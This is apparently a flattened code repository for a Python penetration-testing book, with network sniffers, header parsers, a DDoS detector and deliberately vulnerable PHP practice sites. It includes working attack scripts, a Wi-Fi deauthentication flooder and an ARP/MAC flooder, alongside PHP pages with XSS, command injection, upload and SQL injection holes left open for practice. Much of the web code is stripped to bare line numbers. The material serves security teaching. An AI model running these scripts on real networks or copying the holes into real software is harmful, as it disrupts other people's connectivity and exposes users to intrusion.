struct.unpack("!HH9ss6s",tcpheader) 26 | print "Source Port ", tcp_hdr[0] 27 | print "Destination port ", tcp_hdr[1] 28 | print "Flag ",binascii.hexlify(tcp_hdr[3]) 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/str1.py: -------------------------------------------------------------------------------- 1 | import struct 2 | ms= struct.pack('hhl', 1, 2, 3) 3 | print (ms) 4 | k= struct.unpack('hhl',ms) 5 | print k 6 | -------------------------------------------------------------------------------- /Module 2/Chapter 3/Chapter 3/struct1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | 4 | host = "192.168.0.1" 5 | port = 12347 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.bind((host, port)) 9 | s.listen(1) 10 | conn, addr = s.accept() 11 | print "connected by", addr 12 | 13 | msz= struct.pack('hhl', 1, 2, 3) 14 | 15 | conn.send(msz) 16 | conn.close() -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/deauth.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | 4 | interface = "mon0" 5 | BSSID = raw_input("Enter the MAC of AP ") 6 | victim_mac = raw_input("Enter the MAC of Victim ") 7 | 8 | frame= RadioTap()/ Dot11(addr1=victim_mac,addr2=BSSID, addr3=BSSID)/ Dot11Deauth() 9 | sendp(frame,iface=interface, count= 1000, inter= .1) 10 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/first_ssid_sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys, os, signal 3 | sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3) 4 | sniff.bind(("mon0", 0x0003)) 5 | ap_list =[] 6 | while True : 7 | fm1 = sniff.recvfrom(6000) 8 | fm= fm1[0] 9 | if fm[26] == "\x80" : 10 | if fm[36:42] not in ap_list: 11 | ap_list.append(fm[36:42]) 12 | a = ord(fm[63]) 13 | print "SSID -> ",fm[64:64 +a],"-- BSSID -> ", \ 14 | fm[36:42].encode('hex'),"-- Channel -> ", ord(fm[64 +a+12]) 15 | 16 | 17 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/mac_d.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | interface = 'mon0' 3 | i=1 4 | def info(fm): 5 | if fm.haslayer(Dot11): 6 | if ((fm.type == 0) & (fm.subtype==12)): 7 | global i 8 | print "Deauth detected ", i 9 | i=i+1 10 | 11 | sniff(iface=interface,prn=info) 12 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/mac_flood.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | num = int(raw_input("Enter the number of packets ")) 3 | interface = raw_input("Enter the Interface ") 4 | 5 | arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff") 6 | eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff") 7 | 8 | try: 9 | sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001) 10 | 11 | except : 12 | print "Destination Unreachable " 13 | 14 | 15 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/probe_req.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | interface ='mon0' 3 | probe_req = [] 4 | ap_name = raw_input("Please enter the AP name ") 5 | def probesniff(fm): 6 | if fm.haslayer(Dot11ProbeReq): 7 | client_name = fm.info 8 | if client_name == ap_name : 9 | if fm.addr2 not in probe_req: 10 | print "New Probe Request: ", client_name 11 | print "MAC ", fm.addr2 12 | probe_req.append(fm.addr2) 13 | 14 | sniff(iface= interface,prn=probesniff) 15 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/scapy_ssid.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import struct 3 | interface = 'mon0' 4 | ap_list = [] 5 | def info(fm): 6 | if fm.haslayer(Dot11): 7 | if ((fm.type == 0) & (fm.subtype==8)): 8 | if fm.addr2 not in ap_list: 9 | ap_list.append(fm.addr2) 10 | print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2, \ 11 | "-- Channel--> ", ord(fm[Dot11Elt:3].info) 12 | 13 | sniff(iface=interface,prn=info) 14 | -------------------------------------------------------------------------------- /Module 2/Chapter 4/Chapter 4/ssid.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | interface = 'mon0' 3 | ap_list = [] 4 | def info(fm): 5 | if fm.haslayer(Dot11): 6 | 7 | if ((fm.type == 0) & (fm.subtype==8)): 8 | if fm.addr2 not in ap_list: 9 | ap_list.append(fm.addr2) 10 | print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2 11 | 12 | sniff(iface=interface,prn=info) 13 | -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/banner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import binascii 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) 5 | while True: 6 | 7 | pkt = s.recvfrom(2048) 8 | banner = pkt[0][54:533] 9 | print banner 10 | print "--"*40 11 | 12 | -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/div.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | url = "https://www.hackthissite.org" 4 | ht= urllib.urlopen(url) 5 | html_page = ht.read() 6 | b_object = BeautifulSoup(html_page) 7 | data = b_object.find('div', id ='notice') 8 | print data -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/header.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | url1 = raw_input("Enter the URL ") 3 | http_r = urllib.urlopen(url1) 4 | if http_r.code == 200: 5 | print http_r.headers -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/info.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import urllib 4 | url1 = raw_input("Enter the URL ") 5 | u = chr(random.randint(97,122)) 6 | url2 = url1+u 7 | http_r = urllib.urlopen(url2) 8 | 9 | content= http_r.read() 10 | flag =0 11 | i=0 12 | list1 = [] 13 | a_tag = "<*address>" 14 | file_text = open("result.txt",'a') 15 | 16 | while flag ==0: 17 | 18 | if http_r.code == 404: 19 | file_text.write("--------------") 20 | file_text.write(url1) 21 | file_text.write("--------------\n") 22 | file_text.write(content) 23 | print content 24 | 25 | for match in re.finditer(a_tag,content): 26 | i=i+1 27 | s= match.start() 28 | e= match.end() 29 | list1.append(s) 30 | list1.append(e) 31 | if (i>0): 32 | print "Coding is not good" 33 | if len(list1)>0: 34 | a= list1[1] 35 | b= list1[2] 36 | print content[a:b] 37 | else: 38 | print "error handling seems ok" 39 | flag =1 40 | elif http_r.code == 200: 41 | print "Web page is using custome Error page" 42 | break 43 | 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/par3.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | url = raw_input("Enter the URL ") 4 | ht= urllib.urlopen(url) 5 | html_page = ht.read() 6 | b_object = BeautifulSoup(html_page) 7 | print b_object.title 8 | print b_object.title.text 9 | for link in b_object.find_all('a'): 10 | print(link.get('href')) 11 | 12 | -------------------------------------------------------------------------------- /Module 2/Chapter 5/Programs/whois.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | from bs4 import BeautifulSoup 3 | import re 4 | domain=raw_input("Enter the domain name ") 5 | url = "http://smartwhois.com/whois/"+str(domain) 6 | ht= urllib.urlopen(url) 7 | html_page = ht.read() 8 | b_object = BeautifulSoup(html_page) 9 | file_text= open("who.txt",'a') 10 | who_is = b_object.body.find('div',attrs={'class' : 'whois'}) 11 | who_is1=str(who_is) 12 | 13 | for match in re.finditer("Domain Name:",who_is1): 14 | s= match.start() 15 | 16 | 17 | lines_raw = who_is1[s:] 18 | lines = lines_raw.split("
",150) 19 | i=0 20 | for line in lines : 21 | file_text.writelines(line) 22 | file_text.writelines("\n") 23 | print line 24 | i=i+1 25 | if i==17 : 26 | break 27 | file_text.writelines("-"*50) 28 | file_text.writelines("\n") 29 | file_text.close() 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 6/Programs/DDOS_detect1.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from datetime import datetime 4 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8) 5 | dict = {} 6 | file_txt = open("dos.txt",'a') 7 | file_txt.writelines("**********") 8 | t1= str(datetime.now()) 9 | file_txt.writelines(t1) 10 | file_txt.writelines("**********") 11 | file_txt.writelines("\n") 12 | print "Detection Start ......." 13 | D_val =10 14 | D_val1 = D_val+10 15 | while True: 16 | 17 | pkt = s.recvfrom(2048) 18 | ipheader = pkt[0][14:34] 19 | ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) 20 | IP = socket.inet_ntoa(ip_hdr[3]) 21 | print "Source IP", IP 22 | if dict.has_key(IP): 23 | dict[IP]=dict[IP]+1 24 | print dict[IP] 25 | if(dict[IP]>D_val) and (dict[IP] 2 | 3 | 4 | 5 |

6 | 7 |
THis is Comment page
Enter your views

mohit


LOGOUT 8 | 9 | 10 | 11 | 12 |

Leave your Comments

13 |
14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |

22 | Comments

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 39 | Old comments 40 | 41 | 42 | 60 | 61 | 62 | 63 | 64 | 65 | 66 |

67 |
68 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/comm.html~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

6 | 7 |
THis is Comment page
Enter your views

mohit


LOGOUT 8 | 9 | 10 | 11 | 12 |

Leave your Comments

13 |
14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |

22 | Comments

23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 39 | Old comments 40 | 41 | 42 | 60 | 61 | 62 | 63 | 64 | 65 | 66 |

67 |
-------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/connect.php: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/connect.php~: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/dis.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | NameComment"; 12 | while($row = mysql_fetch_array($result)){ 13 | //Display the results in different cells 14 | echo "" . $row['name']. "" . htmlspecialchars($row['comment']) . ""; 15 | } 16 | //Table closing tag 17 | echo ""; 18 | ?> 19 | 20 | 21 | New Comment Click here 22 | 23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/dis.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | NameComment"; 12 | while($row = mysql_fetch_array($result)){ 13 | //Display the results in different cells 14 | echo "" . $row['name']. "" . htmlspecialchars($row['comment']) . ""; 15 | } 16 | //Table closing tag 17 | echo ""; 18 | ?> 19 | 20 | 21 | New Comment Click here 22 | 23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/disp.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | NameComment"; 12 | while($row = mysql_fetch_array($result)){ 13 | //Display the results in different cells 14 | echo "" . $row['name'] . "" . $row['comment'] . ""; 15 | } 16 | //Table closing tag 17 | echo ""; 18 | ?> 19 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/hack.html~: -------------------------------------------------------------------------------- 1 | < 2 | 3 |
4 | 5 |
6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/in.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Vulnerable Page 4 |

We will test OS command injection vulnerability against this pages. Actually developer don't know how serious the code is.

5 | 6 |

Output of command:

7 | 8 | 9 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/index (copy).php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

Leave your Comments

7 |
8 |
9 | 10 | 11 | 12 | 13 | Your name: 14 | 15 | 16 |

17 | 18 | 19 | 20 | Comments

21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

Leave your Comments

7 |
8 |
9 | 10 | 11 | 12 | 13 | Your name: 14 | 15 | 16 |

17 | 18 | 19 | 20 | Comments

21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
36 | 37 | Old comments 38 | 39 | 40 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/index.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

Leave your Comments

7 |
8 |
9 | 10 | 11 | 12 | 13 | Your name: 14 | 15 | 16 |

17 | 18 | 19 | 20 | Comments

21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
36 | 37 | Old comments 38 | 39 | 40 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/login.php: -------------------------------------------------------------------------------- 1 | 6 | 0) 18 | { 19 | if($uname =="admin") 20 | { 21 | $_SESSION['userName'] = 'admin'; 22 | 23 | header("location: admin.php"); 24 | //echo"
LOGOUT"; 25 | } 26 | 27 | else 28 | { 29 | $_SESSION['userName'] = $uname; 30 | header("location: home.php"); 31 | } 32 | } 33 | else 34 | { 35 | echo "Login Failed"; 36 | } 37 | ?> 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/mmm.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Login 7 |
8 |
9 | 10 | 11 | 12 | 13 | Username: 14 | 15 | 16 | 17 | 18 | comment: 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/movies.html: -------------------------------------------------------------------------------- 1 | < 2 | 3 |
4 | 5 |
6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/movies.html~: -------------------------------------------------------------------------------- 1 | < 2 | 3 |
4 | 5 |
6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/new.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 |
6 | 7 | 8 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/submit (copy).php: -------------------------------------------------------------------------------- 1 | 6 | 7 | Submission Successful"; 16 | 17 | } else { 18 | echo "There was an error with the submission. "; 19 | } 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/submit.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | Submission Successful"; 16 | header("location: dis.php"); 17 | } else { 18 | echo "There was an error with the submission. "; 19 | } 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/submit.php~: -------------------------------------------------------------------------------- 1 | 6 | 7 | Submission Successful"; 16 | header("location: index.php"); 17 | } else { 18 | echo "There was an error with the submission. "; 19 | } 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/upload/new.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | File Uploading Form 4 | 5 | 6 |

File Upload:

7 | Select a file to upload:
8 |
10 | 11 |
12 | 13 |
14 | 15 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/upload/upload.php: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | Uploading Complete 15 | 16 | 17 |

Uploaded File Info:

18 |
    19 |
  • Sent file: 20 |
  • File size: bytes 21 |
  • File type: 22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/upload/upload.php~: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | Uploading Complete 15 | 16 | 17 |

Uploaded File Info:

18 |
    19 |
  • Sent file: 20 |
  • File size: bytes 21 |
  • File type: 22 |
23 | 24 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/upload/upload_file.php~: -------------------------------------------------------------------------------- 1 | 0) { 15 | echo "Return Code: " . $_FILES["file"]["error"] . "
"; 16 | } else { 17 | echo "Upload: " . $_FILES["file"]["name"] . "
"; 18 | echo "Type: " . $_FILES["file"]["type"] . "
"; 19 | echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB
"; 20 | echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
"; 21 | if (file_exists("upload/" . $_FILES["file"]["name"])) { 22 | echo $_FILES["file"]["name"] . " already exists. "; 23 | } else { 24 | move_uploaded_file($_FILES["file"]["tmp_name"], 25 | "upload/" . $_FILES["file"]["name"]); 26 | echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; 27 | } 28 | } 29 | } else { 30 | echo "Invalid file"; 31 | } 32 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/comment_xss_web/wel.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/comment_xss_web/wel.jpg -------------------------------------------------------------------------------- /Module 2/Chapter 7/data_handler.py: -------------------------------------------------------------------------------- 1 | import shelve 2 | def create(): 3 | print "This only for One key " 4 | s = shelve.open("mohit.raj",writeback=True) 5 | s['php']= [] 6 | 7 | def update(): 8 | s = shelve.open("mohit.raj",writeback=True) 9 | val1 = int(raw_input("Enter the number of values ")) 10 | 11 | for x in range(val1): 12 | val = raw_input("\n Enter the value\t") 13 | (s['php']).append(val) 14 | s.sync() 15 | s.close() 16 | 17 | def retrieve(): 18 | r = shelve.open("mohit.raj",writeback=True) 19 | for key in r: 20 | print "*"*20 21 | print key 22 | print r[key] 23 | print "Total Number ", len(r['php']) 24 | r.close() 25 | 26 | while (True): 27 | print "Press" 28 | print " C for Create, \t U for Update,\t R for retrieve" 29 | print " E for exit" 30 | print "*"*40 31 | c=raw_input("Enter \t") 32 | if (c=='C' or c=='c'): 33 | create() 34 | 35 | elif(c=='U' or c=='u'): 36 | update() 37 | 38 | elif(c=='R' or c=='r'): 39 | retrieve() 40 | 41 | elif(c=='E' or c=='e'): 42 | exit() 43 | else: 44 | print "\t Wrong Input" -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851558_160351450817973_1678868765_n.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851558_160351450817973_1678868765_n.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851565_602269956474188_918638970_n.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851565_602269956474188_918638970_n.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851585_216271631855613_2121533625_n.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/851585_216271631855613_2121533625_n.png -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/GsNJNwuI-UM.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/GsNJNwuI-UM.gif -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/NEfdYpfy3BJ.js: -------------------------------------------------------------------------------- 1 | /*!CK:1897678012!*//*1392694667,178174815*/ 2 | 3 | if (self.CavalryLogger) { CavalryLogger.start_js(["AWb\/8"]); } 4 | 5 | __d("RegistrationInterstitialCaptcha",["CSS","DOM","Input","$"],function(a,b,c,d,e,f,g,h,i,j){var k={havePermission:false,linkContainerID:'add_parent_link_container',emailFieldContainerID:'parent_email_field_container',emailFieldID:'parent_email_field',show:function(){var l=j('reg_pc'),m=j('reg_box'),n=j('reg_captcha'),o=j('reg_error'),p=j('tos_container'),q=j('security_check_header'),r=j('kid_captcha_container');h.setContent(j('content'),m);r.appendChild(n);l.appendChild(p);l.appendChild(o);g.hide(q);g.hide(j('captcha_buttons'));g.show(l);},toggleAddParent:function(){var l=j(this.linkContainerID),m=j(this.emailFieldContainerID);if(!this.havePermission){g.show(l);}else{g.hide(l);g.hide(m);}this.havePermission=!this.havePermission;},showEmailField:function(l){i.setPlaceholder(j(this.emailFieldID),l);g.show(j(this.emailFieldContainerID));g.hide(j(this.linkContainerID));}};e.exports=k;}); -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/Welcome to Facebook - Log In, Sign Up or Learn More_files/b9A6iGH4Mhb.js: -------------------------------------------------------------------------------- 1 | /*!CK:2584115164!*//*1397189772,178183447*/ 2 | 3 | if (self.CavalryLogger) { CavalryLogger.start_js(["HslKs"]); } 4 | 5 | __d("ClientDateVerifier",["BanzaiLogger","Bootloader","ClientDateVerifierConstants"],function(a,b,c,d,e,f,g,h,i){var j={init:function(){var k=Date.now();if(kadd_item($id, $title, $price, $img, $qty); 21 | 22 | header("Location: viewCart.php"); 23 | exit; 24 | 25 | } 26 | 27 | 28 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin.php~: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | You were already logged in ".$_SESSION['userName']."."; 13 | 14 | echo"
LOGOUT"; 15 | echo"
INSERT Record"; 16 | echo"
To display Record"; 17 | 18 | } 19 | else 20 | { 21 | header("location: index.php"); 22 | } 23 | ?> 24 | 25 | 26 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/deleteProduct.php: -------------------------------------------------------------------------------- 1 | 0){ 7 | mysql_query("DELETE from products WHERE id = $pid"); 8 | header("Location: viewProducts.php?flag=1"); 9 | exit; 10 | 11 | } 12 | 13 | 14 | 15 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/getCategoryList.php: -------------------------------------------------------------------------------- 1 | ";// 16 | echo ""; 17 | while($catrow = mysql_fetch_assoc($catres)) 18 | { 19 | if ($catrow['id'] == $cid){//this if/else is for simple Javascript instead of Ajax 20 | echo ""; 21 | } 22 | else{ 23 | echo ""; 24 | } 25 | } 26 | echo ""; 27 | } 28 | ?> 29 | 30 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/leftmenu-old30-12-11.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 10 | 11 | 12 | 14 | 15 | 16 | 18 | 19 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 |
9 | Home
13 | Add Category
17 | View Categories
Logout
 
35 | 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/leftmenu.php: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 11 | 12 | 13 | 15 | 16 | 17 | 19 | 20 | 21 | 22 | 23 | 24 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 |
10 | Home
14 | Add Category
18 | View Categories
Add Products
25 | View Products
Logout
 
36 | 39 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/admin/maincontent.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | Administration Area 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 26 | 27 | 28 | 29 | 30 |
 
20 | 21 | 22 | 23 | 24 | 25 |

Welcome Admin

31 | 32 | 33 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/ajax.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 25 | 26 | 27 | 28 |

Let AJAX dynamically change this text

29 | Change Content 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/ajax2.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 30 | 32 | 33 |

Start typing a name in the input field below:

34 |
35 | First name: 36 |
37 |

Suggestions: Here No suggestion yet

38 | 39 | 40 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/ajaxresponse.php: -------------------------------------------------------------------------------- 1 | "; 15 | while($prodrow = mysql_fetch_array($prodres)) 16 | { 17 | echo $str = "".$prodrow['cat_name'] ."".$prodrow['prod_name'] ."".$prodrow['prod_desc']."".$prodrow['prod_price'].""; 18 | } 19 | echo ""; 20 | 21 | ?> -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/gethint.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/fade.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 19 | 20 | 21 | Click here... 22 |
23 |
24 |
25 | 26 | 27 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/fadeout.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 22 | 27 | 28 | 29 |

Find the modifiers -

30 |

31 | If you really want to go outside 32 | in the cold then make sure to wear 33 | your warm jacket given to you by 34 | your favorite teacher. 35 |

36 | 37 | 38 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/fadeto.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | 17 |

18 | Click this paragraph to see it fade. 19 |

20 |

21 | Compare to this one that won't fade. 22 |

23 | 24 | 25 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/jq1.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 12 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
Row 1
Row 2
Row 3
22 | 23 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/jq_ajax.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 14 | 15 | 16 | 17 |

Let AJAX change this Text

18 | 19 | 20 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/sjq.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 14 | 15 | 16 |

This is a heading

17 |

This is a paragraph.

18 |

This is another paragraph.

19 | 20 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/slideToggle.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 25 | 26 | 27 |
28 |

Because time is valueable, we deliver quick and easy learning.

29 |

you can study everything you need to learn.

30 |
31 | 32 |

Show / Hide Panel

33 | 34 | 35 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/ajax/jquery/testFile.txt: -------------------------------------------------------------------------------- 1 | Welcome to EVS Learning Rawalpindi. -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/auth.php~: -------------------------------------------------------------------------------- 1 | THis is Home page Welcome $userName"; 7 | echo "
You were already logged in ".$_SESSION['userName']."."; 8 | 9 | echo"
LOGOUT"; 10 | 11 | 12 | } 13 | else 14 | { 15 | header("location: index.php"); 16 | } 17 | ?> 18 | -------------------------------------------------------------------------------- /Module 2/Chapter 7/htm_sql_web/bar.php: -------------------------------------------------------------------------------- 1 |

Product Categories

